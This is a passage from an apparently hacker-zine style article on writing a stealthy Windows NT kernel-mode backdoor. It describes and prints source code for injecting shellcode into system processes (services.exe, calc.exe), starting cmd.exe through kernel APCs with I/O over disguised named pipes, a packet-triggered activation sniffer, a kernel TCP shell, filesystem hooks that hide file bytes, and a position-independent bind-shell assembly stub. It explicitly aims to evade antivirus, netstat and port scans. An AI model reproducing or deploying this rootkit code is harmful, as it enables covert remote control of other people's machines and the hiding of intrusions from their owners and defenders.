I originally intended to do something similarily simple as standard
user-mode code: Just pass a socket handle for stdin/stdout/stderr to the
newly created cmd.exe process. I did not find a way to open a useful
socket from a driver though, as the interface with the AFD driver (kmode
core of winsock) is undocumented. Reverse-engineering it's usage was not
an option either as due to changes between versions my technique would be
unreliable. I had to find a different way.
First variant
=============
We could start our code in the context of some process, using a shell-
code quite similar to that used in exploits. The code could wait for a TCP
connection and start cmd.exe with redirected I/O.
I chose this way when I tired of trying to start a full-fledged win32
process from a driver. The shellcode is position-independent, searches for
kernel32.dll in memory and loads the winsock library. All that needs to be
done is injecting the shellcode into the address space of a process and
pass control to the entry point of the shellcode. However, in the process
of doing this the normal work of the process must not be interrupted, be-
cause a failure in a critical system process will lead to a failure of the
whole system.
So we need to allocate memory, write shellcode there, and create a
thread with EIP = entry point of the shellcode. Code to do this can be
found in the attached file shell.cpp. Unfortunately, when CreateProcess
is called from the thread started in this way it failed, most probably
because something that CreateProcess relies upon was not initialized pro-
poerly in the context of our thread. We thus need to call CreateProcess
from a thread context which has everything that CreateProcess needs ini-
tialized -- we're going to take a thread which belongs to the process we
are intruding into (I used SetThreadContext for that). One needs to re-
store the state of the thread prior to the interruption so it can contiue
it's normal operation.
So we need to: Save thread context via GetThreadContext, set the EIP
to our context via SetThreadContext, wait for the code to complete, and
then restore the original cont again. The rest is just a usual shellcode
for Windows NT (full code in dummy4.asm).
One unsolved problem remains: If the thread is in waiting state, it
will not run until it wakes up. Using ZwAlertThread does not yield any re-
sult if the thread is in a nonalertable wait state. Fortunately, the
thread in services.exe worked without a problem -- this does not imply it
will stay like this in the future though, so I continued my research:
Second variant
==============
Things are not as easy as [4] makes them sound. Creating a full-
fledged win32-process requires it's registration in the CSRSS subsystem.
This is accomplished by using CsrClientCallServer(), which receives all
necessary information about the process (handles, TID, PID, flags). The
functions calls ZwRequestWaitReplyPort, which receives a handle of a pre-
viously opened port for connection with CSRSS.
This port is not open in the SYSTEM process context. Opening it never
succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play-
ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling
ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection.
But there was no time and no desire to play with sections. Here is the
code that didn't work:
VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid)
{
CSRMSG csrmsg;
HANDLE hCurProcess;
HANDLE handleIndex;
PVOID p;
_asm int 3;
UNICODE_STRING PortName;
RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPor t");
static SECURITY_QUALITY_OF_SERVICE QoS =
{sizeof(QoS), SecurityAnonymous, 0, 0};
/*static SECURITY_QUALITY_OF_SERVICE QoS =
{0x77DC0260,
(_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/
DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL ,
NULL,NULL,NULL,NULL);
if (!ret) {
RtlZeroMemory(&csrmsg,sizeof(CSRMSG));
csrmsg.ProcessInformation.hProcess=hProcess;
csrmsg.ProcessInformation.hThread=hThread;
csrmsg.ProcessInformation.dwProcessId=pid;
csrmsg.ProcessInformation.dwThreadId=tid;
csrmsg.PortMessage.MessageSize=0x4c;
csrmsg.PortMessage.DataSize=0x34;
csrmsg.CsrssMessage.Opcode=0x10000;
ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*) &csrmsg,
(PORT_MESSAGE*)&csrmsg);
}
}
The solution to the problem was obvious; Switch context to one in
which the port is open, e.g. to the context of any win32-process. I inser-
ted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss,
and KeDetachProcess afterwards. The role of the HelperProcess was taken
by calc.exe.
When I tried using KeAttachProcess that way I failed though: The con-
text was switched (visible using the proc command in SoftICE), but Csr-
ClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows
what was happening inside CSRSS.
When trying to frame the whole process creation function into
KeAttachProcess/KeDetachProcess led to the following error when calling
ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode
exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ".
A different way to execute my code in the context of an arbitrary
process is APC. The APC may be kmode or user-mode. As long as only kmode
APC may overcome nonalertable wait state, all code for process creation
must be done in kernel mode. Nebbet's code normally works at
IRQL == APC_LEVEL
Code execution in the context of a given win32-process by means of APC is
implemented in the StartShell() function, in file ShellAPC.cpp.
Interaction with the process
=============================
Starting a process isn't all. The Backdoor still needs to communicate
with it: It is necessary to redirect it's stdin/stdout/stderr to our
driver. We could do this like most "driver+app"-systems: Create a device
that is visible from user-mode, open it using ZwOpenFile and pass the
handle to the starting process (stdin/stdout/stderr). But a named device
is not stealthy, even if we automatically create a random names. This is
why I have chosen to use named pipes instead.
Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here
%08x is random 8-digit numbers) for emulation of anonymous pipes. If we
create one more such pipe, nobody will notice. Usually, one uses 2 anon-
ymous pipes r redirecting I/O of a console application in Win32, but when
using a named pipe one will be sufficient as it is bi-directional. The
driver must create a bi-directional named pipe, and cmd.exe must use it's
handle as stdin/stdout/stderr.
The handle can be opened in both kmode and user-mode. The final ver-
sion uses the first variant, but I have also experimented with the second
variant -- being able to implement different variants may help evade anti-
viruses. Starting a process with redirected I/O has been completely imple-
mented in kernel mode in the file NebbetCreateProcess.cpp.
There are two main differences between my and Nebbet's code: The fun-
ctions that are not exported from ntoskrnl.exe but from ntdll, are dyn-
amically imported (see NtdllDynamicLoader.cpp). The handle to the named
pipe is opened with ZwOpenFile() and passed to the starting process with
ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag.
For opening the named pipe from user mode I inject code into a start-
ing process. I attached the patch (NebbetCreateProcess.diff) for edu-
cational purposes. It adds a code snippet to a starting process. The
patch writes code (generated by a C++ compiler) to a process's stack. For
independence that code is a function which accepts a pointer to a struc-
ture containing all the necessary data (API addresses etc) as parameter.
This structure and a pointer to it are written to the stack together with
the code of the function itself. ESP of the starting thread is set 4 bytes
bellow the pointer to the parameters of the function, and EIP to it's en-
try point. Once the injected code is done executing, it issues a CALL back
to the original entry point. This example can be modified to be yet
another way of injecting code into a working userland process from kernel
mode.
---[ 4.2 - Activation and communication with the remote client
If a listening socket is permanently open (and visible to netstat -an)
it is likely to be discovered. Even if one hides the socket from netstat
is insufficient as a simple portscan could uncover the port. To remain
stealthy a backdoor must not have any open ports visible locally or re-
motely. It is necessary to use a special packet, which on the one hand
must be unambigously identified by the backdoor as activation signal, yet
at the same time must not be so suspicious as to trigger alerts or be fil-
tered by firewalls. The activation signal could e.g. be a packet contain-
ing a set of packets at any place (header or data) -- all characteristics
of the packet (protocol, port etc) should be ignored. This allows for max-
imum flexibility to avoid aggressive packet filters.
Obviously, we have to implement some sort of sniffer in order to
detect such a special packet. In practice, we have several choices on how
to implement the sniffer:
1) NDIS protocol driver (advantage: possibility not only to receive
packets, but also to send - thus making covert channel for
communication with remote client possible; disadvantage: difficulties
with supporting all types of network devices) - applied in ntrootkit;
2) use service provided by IpFilterDriver on w2k and higher
(advantages: simple implementation and complete independence
from physical layer; disadvantage: receive only);
3) setup filter on 1 of network drivers, through which packets pass
through (see [5]);
4) direct appeal to network drivers by some other means for receive
and send packets (advantage: can do everything; disadvantage:
unexplored area).
I have chosen variant 2 due to it's simplicity and convenience for both
described variants of starting a shell. IpFilterDriver used only for
activation, further connection is made via TCP by means of TDI.
An example of the usage of IpFilterDriver can be seen in Filtering.cpp
and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't
yet loaded. Then it calls SetupFiltering, which sets a filter with
IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on
each IP packet. If a keyword is detected StartShellEvent is set and causes
a shell to be started.
The variant using shellcode in an existing process works with the
network in user-mode, thus we do not need to describe anything in detail.
A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe
is started from a driver with redirected I/O, the link is maintained by
the driver. I took the tcpecho example as base for the communitcation mod-
ule in order not to waste time coding a TDI-client from scratch.
DriverEntry() initialises TDI, creates a listening socket and an unnamed
device for IoQueueWorkItem.
For each conenction an instance of the Session class is created. In
it's OnConnect handler a sequence of operations for creating a process.
process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's
impossible to do all necessary operations directly in it. It's even
impossible to start a thread because PsCreateSystemThread must be called
only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect
handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any
further operations accomplished in WorkItem handler (ShellStarter
function) at PASSIVE_LEVEL.
ShellStarter calls StartShell() and creates a worker thread
(DataPumpThread) and 2 events for notifying it about arriving packets and
named pipe I/O completion. Interaction between the WorkItem/thread and
Session class was built with taking a possible sudden disconnect and
freeing Session into account: syncronisation is accomplished by disabling
interrupts (it's equivalent of raise IRQL to highest) and by means of
DriverStudio classes (SpinLock inside). The Thread uses a copy of some
data that must be available even after instance of Session was deleted.
Initially, DataPumpThread starts one asynchronous read operation
(ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's
completion. The other event hPipeEvents[0] notifies about data arrival
from the network. After that ZwWaitForMultipleObjects executed in a loop
waits for one of these events. In dependence of what event was signaled,
the thread does a read from the named pipe and sends data to client, or
does a read read from FIFO and writes to pipe. If the Terminating flag
is set, thread closes all handles, terminates the cmd.exe process, and
then terminates itself. Data arrival is signaled by the hPipeEvents[0]
event in Session::OnReceive and Session::OnReceiveComplete handlers.
It also used in conjunction with the Terminating flag to notify the thread
about termination.
Data resceived from the network is buffered in pWBytePipe FIFO.
DataPumpThread reads data from the FIFO to temporary buffers which are
allocated for each I/O operation and writes data asynchronously to the
pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallback-
WriteComplete handler.
Data transfers from the pipe to the network are also accomplished through
temporary buffers that are allocated before ZwReadFile and freed in
Session::OnSendComplete.
Paths of data streams and temporary buffers handling algorithm:
NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer
send_buf -(send)-> Network -> OnSendComplete{delete send_buf}
Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary
buffer rcv_buf -(ZwWriteFile)-> NamedPipe ->
ApcCallbackWriteComplete{delete rcv_buf}
In Session::OnReceive handler data is written to the FIFO and the
DataPumpThread is notified about it's arrival. If the transport has more
data available than indicated another buffer is allocated to read the
rest. When the transport is done - asynchronously - OnReceiveComplete()
handler is called, which does the same as OnReceive.
----[ 4.3 - Stealth on disk
I've implemented simple demo module (file Intercept.cpp) which hooks
dispatch functions of a given filesystem diver to hide the first N bytes of
a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat").
There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs,
because NT can boot from these filesystems.
Intercept() replaces some driver dispatch functions
(pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...).
When hooked driver handles IRPs and FastIo calls the corresponding hook
functions modifies file size and current file offset. Thus all user-mode
programs see file N bytes smaller than original, containing bytes N to
last. It allows to implement trick described in part 3
Rest In Part III
-
--[ 5 - Conclusion
In this article I compared 3 existing Kernel-Mode backdoors for
Windows NT from a programmers point of view, presented some ideas on making
a backdoor stealthier as well as my thorny path of writing my own Kernel-
Mode backdoor.
What we did not describe was a method of hiding open sockets and TCP
connections from utilities such as netstat and fport. Netstat uses
SnmpUtilOidCpy(), and fport talks directly with drivers
(\Device\Udp and \Device\Tcp). To hide something from these and all
similar tools, it's necessary to hook aforementioned drivers with one of
methods mentioned in section "Stealth on disk, in registry and in
memory". I did not explore that issue yet. Probably, its consideration
deserves a separate article. Advice for those who decided to move this
direction: begin with the study of IpLog sources [5].
--[ 6 - Files
----[ 6.1 - Shell.CPP
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
const StackReserve=0x00100000;
const StackCommit= 0x00001000;
extern BOOLEAN Terminating;
extern "C" char shellcode[];
extern "C" const CLID_addr;
extern "C" int const sizeof_shellcode;
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process);
ULONG n=0xFFFF;
PULONG q =
(PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*size of(*q));
while (NT::ZwQuerySystemInformation(
NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))
{
NT::ExFreePool(q);
n*=2;
q = (PULONG)NT::ExAllocatePool
(NT::NonPagedPool,n*sizeof(*q));
}
ULONG MajorVersion;
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
NT::PSYSTEM_PROCESSES p
= NT::PSYSTEM_PROCESSES(q);
BOOL found=0;
char** pp=(char**)&p;
do
{
if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeStrin g
(&p->ProcessName,&ProcessName,TRUE)))
{
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
found=1;
break;
}
if (!(p->NextEntryDelta)) break;
*pp+=p->NextEntryDelta;
} while(1);
NT::ExFreePool(q);
return found;
}
VOID StartShell()
{
//Search ntdll.dll in memory
PVOID pNTDLL=FindNT();
//Dynamicaly link to functions not exported by ntoskrnl,
//but exported by ntdll.dll
DYNAMIC_LOAD(ZwWriteVirtualMemory)
DYNAMIC_LOAD(ZwProtectVirtualMemory)
DYNAMIC_LOAD(ZwResumeThread)
DYNAMIC_LOAD(ZwCreateThread)
HANDLE hProcess=0,hThread;
//Debug breakpoint
dbgbkpt;
NT::CLIENT_ID clid;
//Code must be embedded into thread, which not in nonalertable wait state.
//Such thread is in process services.exe, let's find it
if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt;
return;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
//Open process - get it's descriptor
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return;};
/*NT::PROCESS_BASIC_INFORMATION pi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/
ULONG n = sizeof_shellcode;
PVOID p = 0;
PVOID EntryPoint;
//Create code segment - allocate memory into process context
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!p) {dbgbkpt;
return;};
//*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread;
//Write process and thread ID into shellcode, it will be needed for
//further operations with that thread
*((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid;
//Write shellcode to allocated memory
ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0);
//Entry point is at the beginning of shellcode
EntryPoint = p;
//Create stack segment
NT::USER_STACK stack = {0};
n = StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
if (!stack.ExpandableStackBottom) {dbgbkpt;
return;};
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- StackCommit;
n = StackCommit + PAGE_SIZE;
p = PCHAR(stack.ExpandableStackBase) - n;
//Create guard page
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
//Initialize new thread context
//similar to it's initialization by system
NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(EntryPoint);
NT::CLIENT_ID cid;
//Create and start thread
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr,
hProcess, &cid, &context, &stack, TRUE);
//Here i tried to make thread alertable. The try failed.
/*HANDLE hTargetThread;
NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid);
PVOID ThreadObj;
NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL);
*((unsigned char *)ThreadObj+0x4a)=1;*/
ZwResumeThread(hThread, 0);
}
VOID ShellStarter(VOID* StartShellEvent)
{
do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Exe cutive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS)
if (Terminating) NT::PsTerminateSystemThread(0); else StartShell();
while (1);
}
----[ 6.2 - ShellAPC.cpp
#include <stdio.h>
#include "ntdll.h"
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
#include "NebbetCreateProcess.h"
//Debug macro
#if (DBG)
#define dbgbkpt __asm int 3
#else
#define dbgbkpt
#endif
//Flag guarantees that thread certainly will execute APC regardless of
//it's state
#define SPECIAL_KERNEL_MODE_APC 2
namespace NT
{
extern "C"
{
// Definitions for Windows NT-supplied APC routines.
// These are exported in the import libraries,
// but are not in NTDDK.H
void KeInitializeApc(PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext);
void KeInsertQueueApc(PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown);
}
}
//Variant of structure SYSTEM_PROCESSES for NT4
namespace NT {
typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;
}
//Function searches process with given name.
//Writes PID and TID of first thread to ClientId
BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)
{
NT::UNICODE_STRING ProcessName;
NT::RtlInitUnicodeString(&ProcessName,process);
ULONG n=0xFFFF;
//Allocate some memory
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*size of(*q));
//Request information about processes and threads
//until it will fit in allocated memory.
while (NT::ZwQuerySystemInformation(NT::SystemProcessesA ndThreadsInformation,
q, n * sizeof *q, 0))
{
//If it didn't fit - free allocated memory...
NT::ExFreePool(q);
n*=2;
//... and allocate twice bigger
q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*size of(*q));
}
ULONG MajorVersion;
//Request OS version
NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);
//Copy pointer to SYSTEM_PROCESSES.
//copy will be modified indirectly
NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q);
//"process NOT found" - yet
BOOL found=0;
//Pointer to p will be used to indirect modify p.
//This trick is needed to force compiler to perform arithmetic operations with p
//in bytes, not in sizeof SYSTEM_PROCESSES units
char** pp=(char**)&p;
//Process search cycle
do
{
//If process have nonzero number of threads (0 threads is abnormal, but possible),
//has name, that matches looked for...
if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeStrin g(&p->ProcessName,&ProcessName,TRUE)))
{
//... then copy data about it to variable pointed by ClientId.
//Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT
if (MajorVersion<=4)
*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId;
else *ClientId = p->Threads[0].ClientId;
//Set flag "process found"
found=1;
//Stop search
break;
}
//No more processes - stop
if (!(p->NextEntryDelta)) break;
//Move to next process
*pp+=p->NextEntryDelta;
} while(1);
//Free memory
NT::ExFreePool(q);
//Return "is the process found" flag
return found;
}
//Generates named pipe name similar to used by API-function CreatePipe
void MakePipeName(NT::PUNICODE_STRING KernelPipeName)
{
//For generation of unrepeating numbers
static unsigned long PipeIdx;
//pseudorandom number
ULONG rnd;
//name template
wchar_t *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x";
//...and it's length in bytes
ULONG KPNL = wcslen(KPNS)+(8-4)*2+1;
//String buffer: allocated here, freed by caller
wchar_t *buf;
//Request system timer: KeQueryInterruptTime is here not for exact
//counting out time, but for generation of pseudorandom numbers
rnd = (ULONG)NT::KeQueryInterruptTime();
//Allocate memory for string
buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2);
//Generate name: substitute numbers o template
_snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd);
//Write buffer address and string length to KernelPipeName (initialisation)
NT::RtlInitUnicodeString(KernelPipeName, buf);
}
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess);
extern NTSTATUS BuildAlowingSD(PVOID *sd);
struct APC_PARAMETERS {
NT::UNICODE_STRING KernelPipeName;
ULONG ChildPID;
};
//APC handler, runs in context of given thread
void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine,
PVOID NormalContext, PVOID SystemArgument1,
PVOID SystemArgument2)
{
UNREFERENCED_PARAMETER(NormalRoutine);
UNREFERENCED_PARAMETER(NormalContext);
dbgbkpt;
//Start process with redirected I/O, SystemArgument1 is named pipe name
(*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\ cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName));
//Free memory occupied by APC
NT::ExFreePool(Apc);
//Signal about APC processing completion
NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE);
return;
}
//Function starts shell process (cmd.exe) with redirected I/O.
//Returns bidirectional named pipe handle in phPipe
extern "C" ULONG StartShell(PHANDLE phPipe)
{
//_asm int 3;
HANDLE hProcess=0, hThread;
APC_PARAMETERS ApcParameters;
//Event of APC processing completion
NT::KEVENT ApcCompletionEvent;
//dbgbkpt;
NT::CLIENT_ID clid;
//Look for process to launch shell from it's context.
//That process must be always present in system
if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;
return FALSE;};
NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE};
//Get process handle from it's PID
NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid);
if (!hProcess) {dbgbkpt;
return FALSE;};
//Get thread handle from it's TID
NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid);
NT::PKTHREAD ThreadObj;
//Get pointer to thread object from it's handle
NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL);
NT::PKAPC Apc;
ApcParameters.ChildPID=0;
//Allocate memory for APC
Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC));
//Initialize APC
dbgbkpt;
NT::KeInitializeApc(Apc,
ThreadObj,
SPECIAL_KERNEL_MODE_APC,
(NT::PKKERNEL_ROUTINE)&KMApcCallback1, // kernel mode routine
0, // rundown routine
0, // user-mode routine
NT::KernelMode,
0 //context
);
//Initialize APC processing completion event
NT::KeInitializeEvent(&ApcCompletionEvent,NT::Sync hronizationEvent,FALSE);
//Generate random unique named pipe name
MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);
PVOID sd;
//Access will be read-only without it.
//There's a weak place in the view of security.
if (BuildAlowingSD(&sd)) return FALSE;
if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE;
NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0);
NT::KeWaitForSingleObject(&ApcCompletionEvent,NT:: Executive,NT::KernelMode,FALSE,NULL);
NT::RtlFreeUnicodeString(&ApcParameters.KernelPipe Name);
NT::ZwClose(hProcess);
NT::ZwClose(hThread);
return ApcParameters.ChildPID;
}
Rest In Part IV
-
----[ 6.3 - dummy4.asm
;Exported symbols - reference points for automated tool
;which generates C code of hex-encoded string
PUBLIC Start
PUBLIC EndFile
PUBLIC CLID_here
;Debug flag - int 3 in the code
DEBUG EQU 1
;Falg "accept more then 1 connection"
MULTIPLE_CONNECT EQU 1
;Falg "bind to next port, if current port busy"
RETRY_BIND EQU 1
.486 ; processor type
.model flat, stdcall ; model of memory
option casemap: none ; disable case sensivity
; includes for file
include Imghdr.inc
include w32.inc
include WSOCK2.INC
; structure initializing
;-------------------------
sSEH STRUCT
OrgEsp dd ?
SaveEip dd ?
sSEH ENDS
CLIENT_ID STRUCT
UniqueProcess dd ?
UniqueThread dd ?
CLIENT_ID ENDS
OBJECT_ATTRIBUTES STRUCT
Length dd ?
RootDirectory dd ?
ObjectName dd ?
Attributes dd ?
SecurityDescriptor dd ?
SecurityQualityOfService dd ?
OBJECT_ATTRIBUTES ENDS
;-------------------------
.code
;----------------------------------------------
MAX_API_STRING_LENGTH equ 150
ALLOCATION_GRANULARITY EQU 10000H
;----------------------------------------------
new_section:
;Macro replaces lea, correcting address for position independency
laa MACRO reg, operand
lea reg, operand
add reg, FixupDelta
ENDM
;The same, but not uses FixupDelta (autonomous)
laaa MACRO reg, operand
local @@delta
call $+5
@@delta:
sub DWORD PTR [esp], OFFSET @@delta
lea reg, operand
add reg, DWORD PTR [esp]
add esp,4
ENDM
main proc
Start:
IFDEF DEBUG
int 3
ENDIF
;Code for evaluating self address
delta:
pop ebx
sub ebx,OFFSET delta
;Allocate place for variables in stack
enter SizeOfLocals,0
;Save difference between load address and ImageBase
mov FixupDelta,ebx
;Tables, where to write addresses of exported functions
KERNEL32FunctionsTable EQU _CreateThread
NTDLLFunctionsTable EQU _ZwOpenThread
WS2_32FunctionsTable EQU _WSASocket
;Local variables
local flagWORD,save_eipWORD,_CreateThreadWORD,_GetThread ContextWORD,_SetThreadContextWORD,_ExitThreadWORD, _LoadLibraryWORD,_CreateProcessAWORD,_SleepWORD,_V irtualFreeWORD,_ZwOpenThreadWORD,_ZwAlertThreadWOR D,cxt:CONTEXT,clid:CLIENT_ID,hThreadWORD,attr:OBJE CT_ATTRIBUTES,addr:sockaddr_in,sizeofaddrWORD,sock WORD,sock2WORD,StartInf:STARTUPINFO,ProcInf:PROCES S_INFORMATION,_WSASocketWORD,_bindWORD,_listenWORD ,_acceptWORD,_WSAStartupWORD,_closesocketWORD,_WSA CleanupWORD,wsadat:WSAdata,FixupDeltaWORD =SizeOfLocals
assume fs : nothing
;---- get ImageBase of kernel32.dll ----
lea ebx,KERNEL32FunctionsTable
push ebx
laa ebx,KERNEL32StringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
lea ebx,NTDLLFunctionsTable
push ebx
laa ebx,NTDLLStringTable
push ebx
push 0FFFF0000h
call GetDllBaseAndLoadFunctions
laa edi, CLID_here
push edi
assume edi:ptr OBJECT_ATTRIBUTES
lea edi,attr
cld
mov ecx,SIZE OBJECT_ATTRIBUTES
xor eax,eax
rep stosb
lea edi,attr
mov[edi].Length,SIZE OBJECT_ATTRIBUTES
push edi
push THREAD_ALL_ACCESS
lea edi,hThread
push edi
IFDEF DEBUG
int 3
ENDIF
call _ZwOpenThread
lea edi, cxt
assume edi:ptr CONTEXT
mov [edi].cx_ContextFlags,CONTEXT_FULL
xor ebx,ebx
mov eax,hThread
;there is a thread handle in EAX
;push at once for call many following functions
push edi ; _SetThreadContext
push eax
;-)
push eax ; _ZwAlertThread
;-)
push edi ; _SetThreadContext
push eax
;-)
push edi ; _GetThreadContext
push eax
call _GetThreadContext
mov eax,[edi].cx_Eip
mov save_eip,eax
laa eax, new_thread
mov [edi].cx_Eip, eax
;Self-modify code
;Save EBP to copy current stack in each new thread
laa eax, ebp_value_here
mov [eax],ebp
laa eax, ebp1_value_here
mov [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa eax, flag_addr_here
lea ebx,flag
mov [eax],ebx
mov flag,0
call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread
;not works if wait is nonalertable
;Wait for main thread creation
check_flag:
call _Sleep,10
cmp flag,1
jnz check_flag
;Restore EIP of interupted thread
mov eax, save_eip
mov [edi].cx_Eip, eax
call _SetThreadContext
push 0
call _ExitThread
; --- This code executes in interrupted thread and creates main thread ---
new_thread:
IFDEF DEBUG
